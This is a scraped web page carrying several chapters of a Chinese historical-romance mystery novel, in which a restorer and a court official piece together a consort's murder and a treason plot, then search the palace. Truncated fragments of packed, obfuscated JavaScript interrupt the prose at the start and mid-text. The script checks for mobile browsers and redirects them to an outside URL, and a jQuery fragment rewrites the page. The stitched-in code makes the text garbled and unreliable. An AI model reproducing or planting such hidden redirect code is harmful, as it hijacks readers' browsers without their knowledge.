d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840454|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “柳贵妃进宫之前的青梅竹马,花将军,他又同季将军和将军夫人是深交,两家同为武将之家,相识很是正常。” 说到这里时赵泓玉瞥了一眼李时丰,见他没有什么表示,又将目光撤回。 “柳洵,柳无涯次孙,柳贵妃尚在世时也应有十五六岁,柳家庶子,并没有都受柳无涯器重,但柳洵如今常伴柳无涯左右,必然是做了些什么让柳无涯满意的事情。” 谢筠熙顿了一下,抓起放在最中间的柳叶佩:“那封遗信,留在这个妆匣里,而柳叶佩可以打开它,柳家人却没有一个人知道,连柳洵都没有注意到自己姑姑把这样重要的指认放在里面,可以说明柳贵妃之言,柳叶佩是柳府相传之物是假话,小女子猜测这应当是花将军赠予柳贵妃的定情之物,与这妆奁应是成套。” “可这信是柳贵妃写予柳无涯的,这又如何解释?”赵泓玉皱起眉头,仍留些疑惑。 “应当是柳贵妃先前就给柳无涯看了,只是国师反应平平才放进匣中……而且书信的内容墨的成色与头末可拼接的墨的成色相比,应是不同,想来柳贵妃是特意留下这一证据才将信纸再次锁进匣中。” 谢筠熙说着灵光一闪,突然想到这个细节。 “那么柳贵妃为什么要这么做,这与她看到的东西恐怕有极大联系,她想把这个匣子留给谁呢?”谢筠熙陷入纠结之中。 “此次进宫,柳盈霜明显有事瞒着我们,恐与柳贵妃有关,这些熏香作何材料,是关键之处。” 赵泓玉突然没头没脑提起柳贵妃姐姐的事情,反倒让谢筠熙想出一些事情的可连接处。 “对了大人们,你们可知道柳家人的关系如何?谁与谁走得更近些?”谢筠熙猛抬头。 “柳无涯从前,对自己入宫为妃的两个女儿倒显得颇为器重,至于其他孩子倒平平,柳小公子他自小不受父母器重,似乎是被柳……贤妃带大的!而且,似乎后宫里总流传柳氏姐妹不和的说法……”杜寿年的话让众人如遭雷击。 “大人,您知道的事倒也不少。”李时丰都有些震惊,这些别家宅府内的事,杜寿年原应该不屑于去了解才对。 “老身下朝与参加宫宴时常能听到百官议论,柳家那些人对本家嚼舌根的话……总会有些不可避免地落入老身耳中,只是……从前并未在意。” 赵泓玉拍拍杜寿年的肩,不知为何眼里带上了些赞许之色。 “这就有些说得通了,再加上我爹的事,我们再来捋一遍,以下是小女子的猜测: 柳洵乃庶子,但不想被柳府打压得一无是处,若小女子没记错,北蛮那些草原国,每年都会来大辰朝贡,若柳洵因为某些事与他们相识,那些蛮人又煽动柳洵的想法提出某些条件,最终导致他愿暗中与蛮夷勾结,后柳贵妃怀上龙子,以陛下对贵妃的盛宠,这个皇子很有可能成为柳无涯用来扎根权力的工具,与此同时,小女子大胆猜测,贵妃与贤妃不和,贤妃也许妒火中烧,因为柳洵与他相亲,他便动知此事,想要加害柳贵妃,而他们某次密谋被柳贵妃发觉,连带勾结一事也一同发觉,于是那信上有了提示……” “谢姑娘,停停停,你这猜测也太过胆大了些,老身听着实在有些虚汗直冒啊。”杜寿年慌忙打断谢筠熙的话,堪堪用手擦过额头。 “无妨,可以接着说,这里不会隔墙有耳。”赵泓玉却是一副无所谓的姿态,反倒觉得谢筠熙这番分析有些道理。 “下官来说吧。”李时丰却接上话茬。 谢筠熙看了李时丰一眼,神色颇为意外。 “今安的猜测与下官有些重合之处,若没有猜错方才她说的是柳贵妃一事,接下来下官就将它与纵火案连起来再说,诸位听听是否在理。” 李时丰若无其事将那个称呼说出口,在场除了杜寿年并未发觉,其余人都露出一副不可思议的神情。 谢筠熙现在更是浑身不自在,因为陆贰和徐柒是好奇,而赵泓玉实在是……太奇怪了。 58. 九皇子之邀 “镇北将守北萧多年,季项年接过这一重担后,亦是一心守国门,对大辰的忠心日月可鉴,北蛮深恨季家铁骑,一直有贼心没贼胆,自然日日夜夜都想除了这座镇守的将军夫妇,若柳洵为异端,那么北蛮多年以来的骚动得以解释,柳贵妃原本也许是想把妆奁寄给将军夫妇,无奈深处宫中,又有身孕,妆奁迫于无奈只能由忠仆置于从前的闺房,多年后,北萧异动显然使季项年怀疑颇多,又因为谢相……” 李时丰抬头深深凝视着谢筠熙:“信得过。” “谢相多年政绩的确是信得过的,将军多年未归朝都能知道谢相的为人,老身实在佩服。”杜寿年点点头,对这一点倒是颇为赞同。 “于是寄信于谢相,也就是那封密信,后来北萧大捷,将军归朝,北蛮也许是伙同柳洵下了套,竟能说动柳无涯对季家动手,也就是那三支箭,箭上可以验证确系柳家之物,且柳洵应当也没有这么大的权利,此时柳无涯或许并不知道柳洵叛国一事。” 赵泓玉目光泠然,似乎不是很满意这个说法:“是吗……” “时丰也是基于现实作出的推论,殿下莫要多想。”杜寿年替自己的属下解释时,谢筠熙忽然意识到赵泓玉对柳无涯的反感之情,顿时了然。 “这两支箭,沾了火油射到酒缸里头,丞相府得到的这支恐怕是最能应证这一点的,而射伤灵蛇姑娘的那一支,则可以直接指证柳家。”李时丰将手一指桌上,那三支箭静静躺在桌上,有些钝锈的箭头此刻却泛着森然寒光。 “小女子其实一直都有一个疑惑,我爹是怎么拿到这支箭的。”谢筠熙走到李时丰身边,与他一同看向这三支箭,突然又想起来那假瓷瓶的另一个事物,“对了,还有那枝秃了的梅花枝,梅花树贵重,像我爹那样的人必然不舍得在府中购置。” “不知道你还记不记得,柳府有贵客。”李时丰的话点醒了谢筠熙。 “是那时候!” “你们在柳府还听见了什么?除了体会独处之日外?”赵泓玉笑得狡黠。 杜寿年却有些瞳孔地震。 “柳府与朝堂之上的那些官员产生交集的方式之一,就是借办宴招揽门客扩大势力,虽然小女子合理怀疑身陷柳府的时候他们是为了为难我和大人,但花昀的话一定是有暗示的!” 谢筠熙自然而然掠过赵泓玉的不怀好意,将拳头砸进另一只手掌,一副恍然大悟的模样。 “所以他们曾经试探过谢相对柳家的意思。”赵泓玉亦是一副沉思的模样。 “秋芸曾说柳家冬日里梅花开得最盛,谢相家折的那枝梅早已落了个干净,现如今是春季,而下官若是没有记错,上个冬日里柳府似乎盛邀丞相参加柳府冬宴……” 李时丰娓娓道来,谢筠熙的表情却逐渐变得诡异起来。 “不是吧,我爹跑到柳府去,折了人家家里的腊梅,又偷偷带出了柳府?”半晌她不可置信地得出这个结论。 众人皆笑起来。 “若是谢相,倒真有可能做出这等事来。”杜寿年抚着长须点了点头。 “此话怎讲啊大人。”谢筠熙忙凑过去问。 “本官往南边去时,听到了谢康的许多传言,其中不乏当今丞相年少轻狂时做出的趣事,也可见此人也并非终日正经肃穆之人,折一枝梅倒也不算什么。”杜寿年回想着出外差时听到的那些话,面上笑意更甚。 谢筠熙正想接着话头继续问下去,赵泓玉却上前一步,面露怀疑之色:“熙老板对自己的亲爹竟然如此不了解吗?丞相莫非没有同自家独女说过年少时的事?哪怕只是随意提起一两句?” “丞相终日辛劳忙于政事,又时不时要亲自下乡关照民生,今安又守在闺中,想来父女两人真能说上话的次数少之又少。” 李时丰见状将谢筠熙挤到身后替她解释。 “我怎么会不知道!大人你起开!”谢筠熙对此并不领情,反而侧身又绕到赵泓玉身旁,“我爹是太仓人,那里兴渔业,他虽生于书香门第,可生性好动,其实从前并非埋头苦读之人,坐于书案间耐不住心痒,总想着同那帮渔民一同干事,他也以此为乐,以致我祖父母时常教训,但他知错不改,冥顽不灵,可谁知他又是天纵奇才,天生就是读书的料,于是青年一举高中,后进京殿试又得圣上青睐,于是成为本朝最年轻的状元郎……” 杜寿年点头:“正是如此,令尊后来高中,陛下却没有立刻把他留在京城,反而让其还乡先为太仓县令,陛下这招是在高明,民间赞赏声不绝耳也恰恰应证了谢相之清廉亲民。” “陛下深知谢相人品,所以我爹入狱一事……”谢筠熙突然想到什么,霎时间瞪大了双眼。 赵泓玉的目光不再像方才那样咄咄逼人,看向李时丰的眼神却变得意味深长起来。 杜寿年摇头微笑却不再言语,在场之人心中对这些事似乎都有了些准话。 “咳咳,下官继续说吧。”李时丰有些尴尬地无视来自衡王的凝视,将话题扯回,“那么那最完整的一支箭,应当可以证明谢相在纵火案一事后,有暗潜镇北府的嫌疑,至于目的,或许是得了季将军的密信,又或许……同如今杜大人所提及的某些事相关。” 几人最后将讨论的结果交予两位大理寺的大人整理记录,陆贰和徐柒代为帮忙,谢筠熙又把自己关在了侧厅,拿着这次集众人之力得到的证物再次开启了修复的工作。 众人忙忙碌碌,直到九皇子的一纸邀约送到了大理寺。 “九弟说与时丰和熙老板一别数日,甚是想念,于是恳请父皇将你们一同请进宫去待上几日。” 赵泓玉将那张薄薄的信纸拍在桌上,对顶着两大坨黑眼圈的搭档二人说着,又自顾自绕到另一边的椅子上,舒舒服服坐下来翘起二郎腿。 “殿下,您这几日怎么如此容光焕发……” 而我们就像那拼命工作的牛马…… 谢筠熙内心真实想法如上。 “本王吃好喝好睡好,当然容光焕发,你们二人最近累着了吧,瞧,救星来了,正好可以入宫歇息歇息。”赵泓玉将那信纸又往里推了推面上扬起的笑不只有几分狡黠,几分真心。 谢筠熙盯着衡王那张俊秀的面庞如是想。 “殿下,哪里是歇息,抓大鱼的事该收网了吧,入了宫才是有恶仗要打。” 李时丰毫不留情地戳穿。 “好吧,本王也不瞒你们,既然现在证据都收得差不多了,柳贵妃、镇北将军、还有谢相的事也该说予陛下听了,九弟想邀你们是真心,本王想让你们进宫也是真心,因为还差最后一样东西要拿到。” 赵泓玉将胳膊支在桌上,同疲惫的二人凑近:“柳贵妃那沐枫轩还没去过呢。” 谢筠熙紧绷的身体放松下来,瘫到椅背上,重重叹出一口气:“好好好,这回我也要去是吗?” “自然。” “要稍加易容吗?”谢筠熙气若游丝,蔫得不行。 “不必,你现在就是大理寺的人才,朝野上下早就知道你的存在了,你那修复的手艺之前传到陛下手里,他对你十分感兴趣,届时真要你揭了身份,本王自有另一套说辞,拭目以待即可。”赵泓玉神在在地摇了几下扇子,将一旁明显有些不爽的李时丰忽略过去。 “殿下,此事您能确保万无一失吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下为何如此关心属下是否有……心仪之人?” 赵泓玉眼珠子一滴溜转,摩挲着下巴向李时丰勾了勾手:“时丰啊,你我认识也有快十多年了吧,你从前没有对情情爱爱有过什么兴趣,纵火案之后更是如同修了无情道般整日沉湎于查案,如今突然有了苗头,本王自然好奇。” “只是……好奇吗?”李时丰有些顾虑。 “当然不是,本王更加想要知道的一点,是你李时丰为了心爱之人究竟能做到哪一步。”赵泓玉眯了眯眼。 “您其实是想确认,属下是否会为了别人甚至不惜妨碍殿下的事?” 赵泓玉不置可否,只是一味地注视着李时丰。 半晌李时丰笑起来。 “笑什么,时丰。”赵泓玉嘴角的笑渐渐隐去。 “那殿下真是想错了。” 李时丰站直了身子,义正言辞道:“谢今安比属下更加希望殿下能够成功,她识时务,知大局,相反,若是属下阻了殿下想要做的事,第一个不乐意的,应该是她,属下又怎么会让心上人不安呢?” “哈哈哈哈哈好,既然如此,我们就期待一下后几日的好戏吧。”赵泓玉终于放松下来,开怀大笑。 窗外不知何时,天也沉沉黑下来,夜鹰的叫声叫得京城的人心里有些沉甸甸的,许是因为就快要到暮春了罢。 谢筠熙在侧厅的床上翻了个身,这样想着进入了梦乡。 59. 见面 这是谢筠熙第二次踏入大辰的宫门,与上次截然不同的是,仅隔着一副面具的真容,透过双眼的缝隙看向这里深重的宫墙,油然而生的喟叹在她心中泛起一圈圈涟漪,身处其间竟隐约有故事将尽之感。 这次我是以什么身份踏入此地呢? 谢今安?还是谢筠熙? 正当谢筠熙沉思之时,手心突然传来一阵暖意,抬头望去,竟是少卿大人藏在衣摆下的手牵住了自己,甚至还轻轻捏了捏手心,明明是暧昧至极的动作,却让谢筠熙此刻摇摆不定的心平静了几分,变得沉寂下来,开始重新考虑起进宫后的对策。 “在想什么?” 她听见李时丰压低的声音。 “没什么。”谢筠熙摇了摇头。 “二位,别咬耳朵了,快走吧。”赵泓玉一回头,看见马车旁磨磨蹭蹭的二人,无奈催促道。 守宫门的禁军见过了衡王的面,恭敬地询问来意:“王爷,请问入宫有何贵干?” “受……” “三哥!少卿哥哥!”赵泓玉还没回答,就听见宫门口那熟悉的稚嫩声音,门口的三人齐齐向开了口的宫门里望去,就见赵明赫迈着他那小短腿“哒哒哒”一路跑来,与初见时那副落魄的模样不同,被皇家富贵滋养的他现在足足圆润了一圈,显得更加白皙可爱。 “原是九皇子邀王爷来的,快请进。”禁军立刻变了脸色,赔着笑把衡王迎进宫门,只是谢筠熙一同进去时投来了些许疑惑的目光。 “这位兄台,本官身边的这位姑娘便是此前朝野上下议论颇丰的修复师,也是迎小皇子回宫的功臣之一,不必觉得奇怪。”李时丰经过时,替谢筠熙解释了一番,那禁军的疑虑才从眼底打消。 只是看向谢筠熙的眼神多了几分好奇。 李时丰见状有意无意慢上半步,高大的身躯挡在谢筠熙身侧,将那禁军的目光阻隔得一干二净,又和善地同那禁军笑了笑。 虽说是和善,眼底的凉意却深不见底,让那禁军讪讪回过了头。 谢筠熙进宫不敢有太多大动作,因此收敛了许多,连话都少了不少,见到小明的那一刻心中虽思念泛滥,却依旧选择拘谨同九皇子问了好,连下意识想要伸出去抚摸小明头顶的手也堪堪收回衣袖中不再动作。 跟着小明一同前来的青年应当是皇子的书童,他向前做出请的手势,俯下身子正要去牵皇子的手,赵明赫却先一步走到谢筠熙身边,像她伸出自己肉乎乎的小手。 那书童有些诧异,一时之间也不知道该当如何,赵泓玉见状淡淡道:“没事,从前在城西待着的时候,这小家伙也黏熙老板黏得紧,你带你的路,不会有事的。” “是。”那书童松了口气,仔细为几人继续引起路来。 当今天子对这个小皇子的喜爱果真非同寻常,赐了宫里最好的住处广庆宫,进去便是金碧辉煌的装潢,主殿甚至比太子的东宫还要大上几分,皇帝似乎是想将这些年九皇子失去的所有宠爱一同补回来似的,竟张扬到如此地步。 更为深思的一点,便是柳贵妃那沐枫轩离九皇子的宫殿竟然相隔甚近。 足见帝王的偏爱。 此时谢筠熙不免有些担忧在如此圣宠之下,小明的心性会受到些影响。 只是几人刚陪九皇子坐下来,他问的第一句话就让谢筠熙打消了这个念头。 “姐姐!姑姑他们还好吗?”赵明赫睁着他那双湿漉漉的大眼睛,小小的脸上肉眼可见的渴望,将谢筠熙的心先化去一半。 那书童方才被九皇子亲自遣出殿外,屋子里只剩下几个无比相熟的人,谢筠熙自然可以先摘下面具,见小明如此,终于难耐手痒,在小明愈发软乎的小脸上使劲揉了一把,捧着他的小脑袋柔声回应:“你藜姑姑和秦姨姨都好着呢,蒙圣恩他们都得以离开京城谋生计,如今藜姐姐开了间吃饭的铺子,和秦姐姐一同做起了生意,你的小伙伴们也都能去上学堂啦!” “太好了!”小明发自内心地笑着,童真的小脸依旧是这么得乖巧,懂事得惹人怜爱。 和谢筠熙李时丰扯长扯短聊了一阵,赵明赫这才想起来正事,有些心虚地背过身去,对着不知静静聆听他们对话多久的赵泓玉露出不大好意思的笑:“三哥,对不起……我实在是太想哥哥姐姐了。” “无妨,九弟性情之人,三哥没什么好说的,现在不急,在这住上一日我们再行动也不迟。”赵泓玉托着下巴看了一阵,倒也没有想到自己亲弟弟还记得自己的存在,于是故作坦然地谅解了这小子。 九皇子发出欢呼,站起身跳进谢筠熙的怀抱,殿里洋溢着欢乐的氛围。 李时丰嘴角的笑却在赵明赫那拥抱之中凝固起来,有些幽怨地望向同样笑得开心的谢筠熙,沉静下来思考要怎么把这两人分开。 好巧不巧赵泓玉还非得故意凑到自己耳边说风凉话:“时丰啊,上啊,你怎么不抱熙老板,好机会啊……” 李时丰没有理会衡王的念叨,只是把头扭到一边不再言语。 “唉……年轻人,把握不住机会就不能怪任何人喽!”赵泓玉抻开腿又替自己倒了杯茶,和李时丰说完这番话便一饮而尽。 “……”李时丰深深皱起眉头。 谢筠熙自然没有注意到这边李时丰内心的天人交战,所以用晚膳时见他沉默不语的样子,因为席间之人没什么需要遮掩的,也就起了些逗弄的心思。 恰巧因为几人的到来,广庆宫要了几壶好酒,除了小明年纪尚小不可以饮用以水代酒之外,几个大人都喝得尽兴,谢筠熙从前还未穿越时工作之余总喜欢小酌几杯,但酒量却不怎么样,只是酒壮怂人胆,待她上了脸,对沉闷喝酒的李时丰动作也大胆了起来。 “大人今日是怎么回事?方才不是还在说话吗?怎么现在反而成了哑巴了……” 谢筠熙红着张脸凑到李时丰身旁,领口因为闷热解开了些,她半倚在李时丰肩上,葱白的手指轻掐住李时丰的下巴,将他的脸强制转过来对着自己。 二人视线相交,李时丰屏住了呼吸,只能感受到谢筠熙那温热的呼吸喷洒在自己的脸上,带着淡淡的酒香,将他也熏得有些头晕起来。 两人的脸都成了红焖大虾。 只不过李时丰应是羞的,至于谢筠熙……现在只是醉鬼一个,不知道会记得多少。 “九弟,别看,少儿不宜。”赵泓玉见状慌忙把小明拉到身边,拿手挡住他的眼睛在耳边小声说,“你谢姐姐和少卿哥哥都喝醉了,三哥就先找人让他 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李时丰沉默了一瞬,缓缓开口:“因为……我对你……” 心悦兮。 还没说完,谢筠熙的气息平稳下来,李时丰俯下身再看时,她竟已经沉沉睡去。 罢了……之后再说吧。 李时丰幽幽叹了一口气。 第二日。 谢筠熙破天荒早醒,望着窗外还未亮透的天,只觉得太阳穴突突乱跳,她捂住错乱的脑袋,昨晚的场景在脑中一幕幕浮现。 坏了!我都干了些什么! 谢筠熙猛回头,身旁空空如也,再一看客屋的卧椅上,李时丰正闭目睡着,还没有要苏醒的迹象。 昨晚貌似调戏李时丰有些调戏过头了……完蛋了…… 醉酒误人啊! 谢筠熙的内心在下雨,她舒展了一番酸软的身躯,下床踮起脚尖鬼鬼祟祟走到李时丰身边,蹲下身子盯着李时丰安然的睡颜双手合十小声喃喃:“少卿大人对不住了……我先走一步了。” 说罢此话她抓起卧椅边上放着的面具,给自己系上后又蹑手蹑脚起身,打算偷溜出房间先独自前往柳贵妃屋里查探。 “去哪?” 谢筠熙刚想迈出脚步,却觉得衣角微动,被人扯住。 她瞬间僵了身子,木然地一寸寸回过头去,就见少卿大人双眼明亮,看向自己的眼里满是责备。 “呃……那个……大人,我看你还在睡……这个点人少……我想要去宫里随处转转……” 谢筠熙的解释漏洞百出,将李时丰生生气笑,他在卧椅上坐起身来,稍一用力换成抓住谢筠熙的小臂,带进自己怀里,将她牢牢锢住。 谢筠熙慌乱之中听见此男在耳边轻声说着:“想去柳贵妃那儿就不准单独行动。” “呃……好吧……”谢筠熙尝试挣脱,奈何力量悬殊,并没有成功,只好答应下来。 “走吧。” 谢筠熙只觉得锢住自己的力道一松,赶忙站起身来,整理自己的衣角,李时丰也站起身来,披上外衣,推开了房门。 二人草草准备了一番,直奔柳贵妃的沐枫轩而去。 60. 心虚之人 “老燕呐,朕今个怎么觉得头疼得不行?”今日正巧是休沐日,赵砚宸却不得歇息,依旧早起办公,还没批几份奏折,便揉着太阳穴同一旁恭敬站着的燕德海说道。 “许是陛下为国事操劳,有些劳累。”燕德海识趣地来到皇帝身边,将袖子向上捋去,腾出双手来替皇帝按揉捶打,没一会赵砚宸觉得舒缓了些,这才把身子一松靠坐到椅背上,慢慢吐出口气来。 “朕总觉得,这几日时常心悸不安,昨夜更是辗转反侧,无论如何也睡不着;好不容易睡了,梦里却又想被什么东西魇住似的,竟将朕生生吓出一声冷汗……” 说到这,皇帝佛手让燕公公退下,侧身同燕德海对上视线,目光沉沉:“老燕,你说,这是不是什么不祥之兆啊?” 燕德海伴君多年,怎么会不知道天子话里有话,心里一紧,正思索着对答之策,天子却又佛袖站起,绕过桌案拍拍燕德海的肩膀,撂下一句:“走,去看看小九,他那样乖巧可爱,也好解解朕心里的烦闷。 “是……是。”燕德海欲言又止,回过神来,皇帝已快要走出御书房,他着急慌忙地将拂尘搭上手臂,迈开腿追上健步如飞前往广庆宫的帝王。 “陛下,陛下,等等老奴——” 沐枫轩。 谢筠熙和李时丰好不容易赶到了柳贵妃住处,却被一个小宫女拦下。 “站住!你们是什么人!竟敢私闯沐枫轩!”那小宫女原是在扫地,看见这两个生面孔,立刻心生警惕,小小的身躯拦在沐枫轩门口,声音倒是敞亮,一点也不带虚的。 “大理寺少卿李时丰,奉旨探查。”李时丰将腰牌递给那小宫女,神色淡然。 “你们……就是陛下说的为柳贵妃讨公道的人?”那小宫女接过腰牌,看了一眼,面上的警惕最先散去,取而代之的是隐隐的欣愉之色。 “陛下?”谢筠熙皱起眉来,有些不太相信。 之前听赵泓玉说,他和徐柒陆贰一同进宫时,圣上早已知晓,却没有半分阻碍,似乎是陛下的默许,所以他同贤妃说话才能无比强硬,这次难道…… “这位姑娘,是陛下派你来这守着沐枫轩的吗?”谢筠熙见那小宫女去开了门锁,同李时丰一起闪身进入沐枫轩,这才开口询问。 “是啊,陛下深爱柳贵妃,先前那批宫女被遣散之后,又怕柳贵妃这里常年无人守候,空留悲戚,于是派我来这时常打扫,有时也替贵妃侍弄轩中花草,也好让沐枫轩时常葱茏,不会落灰枯败。” 那小宫女一边引路一边又说着,絮絮叨叨不知何时话又多起来,走到柳贵妃曾经居住的旧屋这才停下话头。 “喏,这便是贵妃从前所居之处,你们探查归探查,可千万不要把我整理好的东西又打乱了。” 小宫女说罢,便又拿上笤帚蹦跳着离开。 李时丰和谢筠熙站在屋门口,面面相觑。 “大人……这不对吧,以陛下对柳贵妃的宠爱程度,这沐枫轩必然应叫来许多人一直守着,怎么会就派这样一个小小宫女偶尔打扫呢?” 李时丰低下头,看不出到底在想些什么,半晌他抬头回道:“许是陛下知道柳贵妃真正的喜好才特意作此安排。” 沐枫轩四面环水,主屋落在深处,与庭轩处的艳景竟真有些不同,反倒显出些僻静,再仔细看,那屋子的布置竟与柳家那闺房有些相像,也是素净清婉,同贵妃从前的装扮大相径庭。 谢筠熙默默无言注视了许久这间屋子,此刻倒是比较认同李时丰的话。 若陛下真是如此性情中人,倒也合情合理了。 二人走进柳贵妃的昔日居所,皇帝似乎保留了贵妃生前的所有布置,单是梳妆台的金银玉首饰就叫谢筠熙闪瞎了双眼。 只是依着柳慕琴那原本的性子来看,这些东西应当是皇帝送的,大多黄金和银子制成的饰品似乎被贵妃搁在了最角落,摆在显眼处的大部分是素白的玉饰,谢筠熙由此可以推断,起初的皇帝应当并不知晓柳慕琴的喜好,许是日后相处真的生了情,这才开始给贵妃送起这些来。 “大人,从何查起啊?”谢筠熙思索完毕,摩拳擦掌起来。 “你……喜欢玉石吗?”李时丰做了许久的心理建设,终于把这话问出口来。 “嗯?” 这跟查案有任何关系吗? 谢筠熙不知道少卿大人是什么意思,但依旧如实回答:“喜欢啊,不过我更喜欢瓷器多一些。” 想起家里收藏的那些青瓷,谢筠熙在心里默默为自己说的这番话点了点头。 “这样……”李时丰若有所思。 “怎么了大人?”谢筠熙有些担忧地看向李时丰。 “没事,还是老样子,里间归你了,本官先在外间探探。”李时丰揉揉鼻子,指向屏风后的卧榻。 “好的大人,看看这次谁先找到证物。”谢筠熙冲李时丰狡黠一笑,侧身闪到屏风后。 “优先找找香炉鼎这类的事物,应当可以跟王爷找到的那证物对上。”李时丰走到外间,又冲里间叮嘱了一句。 “是!”里头传来谢筠熙欢脱的应答,叫他的嘴角也微微上扬了些。 偏生今日真是见了鬼,没了先前那番好运,两人在屋里寻了半天,非但什么都没有发现,又顾着那小宫女的话,翻完东西又全部都仔细放好,反倒将自己累个半死,最后气喘吁吁靠在外间的门板上,看着对方疲惫的模样互相嗤笑起来:“你不行啊!” 谢筠熙只当是玩笑话,可李时丰眸色如墨,看不清眼底的颜色,嘴角却挂上了玩味。 “大人,这下可怎么办,要去这沐枫轩的别处看看吗?”李时丰正要开口,谢筠熙却转着脑袋望向别处,依旧一副跃跃欲试的模样。 她话音刚落,沐枫轩的大门却传来些异响。 谢筠熙和李时丰默契地合上嘴,冲对方点了点头,又悄悄退回里屋,两人扒在门板处一同观察外面的情况。 李时丰原是在侧目听着,分辨出门外是那小宫女和一个女人的声音,想必应当是后宫不知哪处的妃嫔,他正要告予谢筠熙,一低头谢筠熙那乌黑的发顶就这样出现在自己的视野里,带着那兔耳似的两个朝天髻一并落入眼底,探头探脑的模样竟真的神似一只毛茸茸的兔子。 “噗。”少卿大人话还没说出口,一声难绷的笑先在谢筠熙的头顶响起。 谢筠熙正火急火燎想要听清楚外面的动静,李时丰那笑在现在的她眼里无异于犯贱。 她扒着门板转过头去,先是给李时丰翻了个大白眼,顺带着将胳膊肘往后一撞,一胳膊肘击打在李时丰的腰上,示意他正经些。 李时丰收了笑,谢筠熙那一记肘击在他那如同挠痒痒般,无甚痛感却如同被什么东西挠了心口,浑身上下都有些酥麻麻的,倒是让他十分受用。 “她们往里屋来了,是那个小姑娘,还有……”李时丰往远处那仪态端庄的身影望去,脸色微变,“贤妃。” “贤妃!”谢筠熙忙从门板上起来,眼里是止不住的诧异,“我们是来揪她把柄的!怎么她今日却来自己妹妹的住处了!总不能真的是姐妹情深吧!” “那必然是不会,先进来吧,我们是来查案的,没必要躲躲藏藏,随机应变即可。”李时丰把谢筠熙拉进屋里。 “娘娘,您不能进来,陛下吩咐过了,任何人不得陛下允许不得私自进出沐枫轩!” 离近些,可以听见那小宫女的劝阻声。 照这个说法,还真是陛下默许我和李时丰进来的。 “本宫与贵妃本就为一家人,姐姐来妹妹旧居思怀有何不可,你又是从哪里冒出来的!竟敢顶着陛下的名号来对本宫颐指气使!” 谢筠熙听柳盈霜那语气,似乎带上了些焦急,似乎是急着来沐枫轩做些什么,立刻心生警惕。 李时丰自然与她所想一致。 果不其然,下一刻那小宫女被掌掴的声音就传进了门内的两人耳中。 “啊!” 惊叫声让谢筠熙听着龇牙咧嘴起来,只觉得自己的脸颊也有些幻痛起来,李时丰的脸色逐渐变得难看起来,眼底带上了些嫌恶:“她那副与世无争,雍容尔雅的模样果真是装的。” 门外柳盈霜冲倒在地上的小宫女投去轻蔑的一瞥,头也不回地走进了柳贵妃的里屋。 正巧与站在门后的二人打了个照面。 她那副高高在上的模样出现了一丝裂痕。 “你们是何人!” 李时丰没有立刻回答她,反倒是细细观察起眼前之人,在他的印象里,上一次见到这个女人,还是在九皇子的接风宴上,此女既是柳贵妃的孪生姐妹,自然与气有外貌相似处,可她给人的感觉,却和自己的妹妹天差地别,李时丰的脑海中并没有和柳贵妃见面的记忆,可这阵子的查案让他隐隐觉得柳贵妃理应是一个良善与明智之人,如同她所喜爱的玉一般,裹着坚韧的外表,虽然易碎,但依旧可以为了坚持自己认为正确的事撞得粉身碎骨,心里却没有半分后悔与恐惧。 柳盈霜绝对不是这样的人,也永远比不上她的妹妹。 李时丰的心里激起层层波澜,看向这个女人的眼神也逐渐变得不善起来。 谢筠熙见李时丰半天没有说话,气氛一时之间僵持不已,正想着要说些圆场的话,那贤妃却先指着 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柳盈霜那副端庄的模样终于有些架不住了,她一手指向李时丰和谢筠熙,一副兴师问罪的模样。 谢筠熙躲在李时丰身后,一直细细观察着柳盈霜的状态,她身后没有带人,应当是独自一人前来,说话期眼神有些飘忽不定,一直往里屋看。 “大人……”谢筠熙轻轻拽了拽李时丰的衣袖,示意他不要再与柳盈霜浪费时间。 “既然如此,那便算是我二人失礼,贤妃想要怀念令妹,那便请吧。”李时丰向后看了一眼,方才强硬的语气稍作收敛,作出一副“请”的姿态。 “哼!”柳盈霜冷笑一声,将手放下,又摆出她那副典雅的模样,抬脚跨过门槛,径直走向屋里。 “大人,柳盈霜来这里必然有所顾忌,看看她想做什么。”谢筠熙让李时丰弯下腰,附耳道。 “好。”李时丰点点头。 “你们还不走?”柳盈霜目光触及门□□头接耳的二人,目露厌烦之色。 “这便走,不打扰娘娘。”谢筠熙拉住李时丰,把他带出里屋。 “两位大人,这下可如何是好?”一直焦急守候在门外的小宫女见李时丰和谢筠熙,捂着脸扑上来,红着眼眶和二人诉苦。 “这位姑娘,你现在去一趟广庆宫,如今衡王就在宫中,陪伴在九殿下身边,请把这里发生的一切如实告知两位殿下。”谢筠熙蹲下身子,柔声同那小宫女嘱咐。 “是……”那小宫女生生将泪花憋回去,答应下来就要转身离去。 “诶,等一下,这个给你。”谢筠熙突然拉住她,从怀里拿出一个瓷白的小罐,塞进那小宫女手中,又冲她一笑,“你被贤妃打伤了面颊,抹些膏药会好得快一些。” “多……多谢……”那小宫女将差点溢出眼眶的泪水胡乱用衣袖抹去,跑出沐枫轩大门。 “那膏药……是本官给你的那瓶?”李时丰一眼就认出了那白瓷瓶。 “嗯,之前在大理寺承蒙大人照顾,医馆的医师替我开了药,这膏药就用不上了,所以留到现在。”谢筠熙莞尔。 “你……”李时丰有些欲言又止。 “走吧,看看柳盈霜在搞什么鬼。”谢筠熙伸出手,指了指屋顶,而后又张开手臂。 见李时丰半天愣在那里不动,谢筠熙轻轻捶了捶他的胸口,话里带上了些抱怨:“还有没有默契了,快带我上屋顶,没你我可上不去。” 李时丰回过神来,眼里闪烁着无奈的光,拦腰将谢筠熙抱起,悄无声息飞上里屋顶。 两人猫着腰蹲在屋顶倾听者着屋里的动静,李时丰的耳力自然更嘉些,柳盈霜还真的在怀念自己的妹妹,只是过了一阵后,那闷闷的说话声褪去,屋里的声音静下去,谢筠熙和李时丰对视一眼,立刻飞下屋顶。 二人推开房门,急急往屋里找了一圈,却没有发现柳盈霜的影子。 